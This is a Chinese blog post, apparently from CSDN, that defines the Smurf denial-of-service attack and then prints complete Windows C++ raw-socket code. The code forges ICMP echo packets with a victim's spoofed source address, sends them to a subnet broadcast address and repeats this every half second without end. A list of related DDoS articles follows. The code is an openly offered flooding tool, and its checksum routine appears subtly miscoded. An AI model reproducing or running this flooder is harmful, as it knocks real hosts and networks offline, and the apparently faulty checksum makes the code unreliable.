Smurf攻击是一种逼毒攻击,以最初发动这种攻击的程序“Smurf”来命名。这种攻击方法结合使用了IP欺骗和ICMP回复方法使大量网络传输充斥目标系统,引起目标系统拒绝为正常系统进行服务。(引自百度)
The Smurf attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim’s spoofed source IP are broadcast to a computer network using an IP broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim’s computer will be flooded with traffic. This can slow down the victim’s computer to the point where it becomes impossible to work on.(引自google)


C++:#include <stdio.h>
#include <string.h>
//#include <windows.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32.lib")
#include <stdlib.h>
#include <Ws2tcpip.h>struct iphdr
{ unsigned char  vihl;unsigned char  tos;unsigned short tot_len;unsigned short ident;unsigned short frag_off;unsigned char  ttl;unsigned char  protocol;unsigned short check;unsigned long  saddr;unsigned long  daddr;
};struct icmphdr
{unsigned char type;unsigned char code;unsigned short checksum;
};/*unsigned short in_chksum (unsigned short *buf1,short len,int chksum,char complement)
{unsigned short * buf=buf1;int chksum16;while(len>0){if(len==1)chksum16=((*buf)&0x00FF);elsechksum16=(*buf);chksum=chksum+htons(chksum16);*buf++;len -=2;}if(complement)return(~(chksum+((chksum&0xFFFF0000)>>16))&0xFFFF);return chksum;
}*/
unsigned short in_chksum (unsigned short *addr, int len)
{register int nleft = len;register int sum = 0;unsigned short answer = 0;while (nleft > 1) {sum += *addr++;nleft -= 2;}if (nleft == 1) {*(unsigned char *)(&answer) = *(unsigned char *)addr;sum += answer;}sum = (sum >> 16) + (sum + 0xffff);sum += (sum >> 16);answer = ~sum;return(answer);
}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{struct iphdr *ip;struct icmphdr *icmp;char *packet;packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip = (struct iphdr *)packet;icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip->vihl=0x45;ip->ident=1;ip->ttl = 255;ip->tos = 0;ip->frag_off = 0;ip->protocol = IPPROTO_ICMP;ip->saddr= inet_addr("10.40.44.54");//dest;                            //攻击目标主机IPip->daddr= inet_addr("10.40.44.255");//sin.sin_addr.s_addr;             //广播地址ip->check = in_chksum((u_short *)packet, sizeof(struct iphdr));icmp->type = 8;icmp->code = 0;icmp->checksum=0;memset(packet+sizeof(struct iphdr) + sizeof(struct icmphdr),0,psize);icmp->checksum =in_chksum((u_short *)icmp, sizeof(struct icmphdr)+psize);//0x2119;printf("%d \n",ip->tot_len);sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,0, (struct sockaddr *)&sin, sizeof(struct sockaddr));free(packet);
}int main(int argc, char* argv[])
{WSADATA         wsd;            //WSADATA变量SOCKET          sock;           //服务器套接字struct sockaddr_in servAddr;unsigned long dest;//初始化套结字动态库if (WSAStartup(MAKEWORD(2,2), &wsd) != 0){printf("WSAStartup failed!\n");exit(-1);}//创建套接字/*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET == sock){printf("socket failed!\n");WSACleanup();//释放套接字资源exit(-1);}*/servAddr.sin_family =AF_INET;servAddr.sin_addr.s_addr = inet_addr("10.40.44.255");servAddr.sin_port = htons((short)0);dest=inet_addr("10.40.44.55");if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {perror("getting socket");exit(-1);}/*  int Time =888; if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR) { return false;
exit(1);
} */while(1){smurf(sock,servAddr,dest,36);printf("Send smurf\n");Sleep(500);}return 0;
}

smurf分布式攻击(DDOS)相关推荐

  1. 【计算机网络】网络安全 : 计算机网络安全威胁 ( 四种网络攻击类型 | 主动攻击与被动攻击 | 分布式拒绝服务攻击 DDos | 恶意程序 | 计算机网络安全目标)

    文章目录 一.网络安全内容 二.四种网络攻击 三.被动攻击 与 主动攻击 四.分布式拒绝服务 DDos 五.恶意程序 六.计算机网络安全目标 一.网络安全内容 网络安全内容 : 网络安全概述 对称加密 ...

  2. 计算机网络】网络安全 : 计算机网络安全威胁 ( 四种网络攻击类型 | 主动攻击与被动攻击 | 分布式拒绝服务攻击 DDos | 恶意程序 | 计算机网络安全目标)

    一.网络安全内容 网络安全内容 : 网络安全概述 对称加密 和 非对称加密 体质 数字签名 因特网安全协议 链路加密 与 端到端加密 防火墙 二.四种网络攻击 四种网络攻击 : ① 截获 : 窃听 其 ...

  3. 【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS)

    这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ​ 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web ...

  4. 关于分布式拒绝服务(DDoS)的简单梳理和介绍

    分布式拒绝服务(DDoS:Distributed Denial of Service):攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高 ...

  5. 拒绝服务攻击DDoS介绍与防范

    DDoS介绍 DDoS攻击即分布式拒绝服务攻击,又叫洪水攻击,在进行攻击的时候,这种方式可以对不同地点的大量计算机进行攻击,进行攻击的时候主要是对攻击的目标发送超过其处理能力的数据包,使攻击目标出现瘫 ...

  6. 分布式拒绝服务攻击(DDoS)原理及防范

    转自:http://www.cnblogs.com/rootq/archive/2009/11/06/1597215.html http://www.ibm.com/developerworks/cn ...

  7. 几种常见的Web攻击

    几种常见的Web攻击 文章目录 几种常见的Web攻击 一.DoS攻击 1.SYN洪水攻击 2.IP欺骗 3.Land攻击 4.针对DoS攻击的防御 二.CSRF攻击 1. CSRF攻击的发生有三个必要 ...

  8. 浅析几种常见Web攻击-DoS攻击、CSRF、XSS

    常见的Web安全问题有DoS攻击.CSRF攻击.XSS漏洞等.本文将简单介绍一下这几种常见的工具方式. DoS攻击 DoS(Denial of Service),拒绝服务,顾名思义这种攻击是为了让服务 ...

  9. 20210813 数据摆渡、DNS、分布式、分布式数据库、防ddos攻击、链路负载均衡

    数据摆渡 数据摆渡是什么?摆渡的意思是,在没有道路的时候,坐船度过这片水域到达对岸. 数据摆渡顾名思义,是指在没有物理连接的情况下,数据通过隔离部件从源端到达目的端. 再通俗一点,就是通过具有存储介质 ...

最新文章

  1. LINUX的20练习题
  2. mysql之基础操作grant、show、repair、log_error等
  3. 模板建站和开发网站区别_湖南网站建设定制网站和模板建站的区别
  4. [luogu2042] [NOI2005]维护数列
  5. 如何通俗的理解KKT条件
  6. java可视化压缩_web可视化技术发展(1/6)
  7. MySQL迁移至MariaDB
  8. c#把日期改成数字字符串_C#编写壹个函数将输入的中文日期转换为阿拉伯数字日期...
  9. 在c语言中输入三个数据类型,【C语言讲解】第二章:数据类型3
  10. python训练营微信广告发送机_python实现给微信公众号发送消息的方法
  11. 小米手机图标应用图标不改变的问题
  12. 怎么连接win10共享计算机,xp系统下怎么连接win10共享的打印机
  13. 安装SSMS报错:0x80070643
  14. c1语言水平要多久,「西班牙留学」零基础到西班牙读语言,多久能到C1?
  15. 苹果Mac电脑怎么卸载敬业签云便签软件?
  16. 如何在前端完美控制浏览器兼容性问题
  17. 创建文件夹+移动文件
  18. database-sync适配openGauss使用指导书
  19. Java虚拟机|JVM知识点汇总及简述->性能监控与调优
  20. oracle 记录镜像文件,记录oracle 10g RMAN的一些新特征-介绍了镜像与备份集的区别...

热门文章

  1. 没错,你看到的这张图,我用Python画出来了!
  2. 移动叔叔工具箱android,真正免root的移动叔叔工具箱详细使用教程
  3. 火星电竞|电竞数据分发系统架构演进
  4. 修改注册表(设置首页)
  5. android sd 设备特征码,【转帖】OD常用特征码大全+汇编指令
  6. Unity -Demo 之 ✨桌面小宠物
  7. 搜索引擎网站收录地址大全
  8. NativeCat Premium免安装破解版:百度云传送门
  9. 数学建模美赛前期准备
  10. 抽象类与抽象类的继承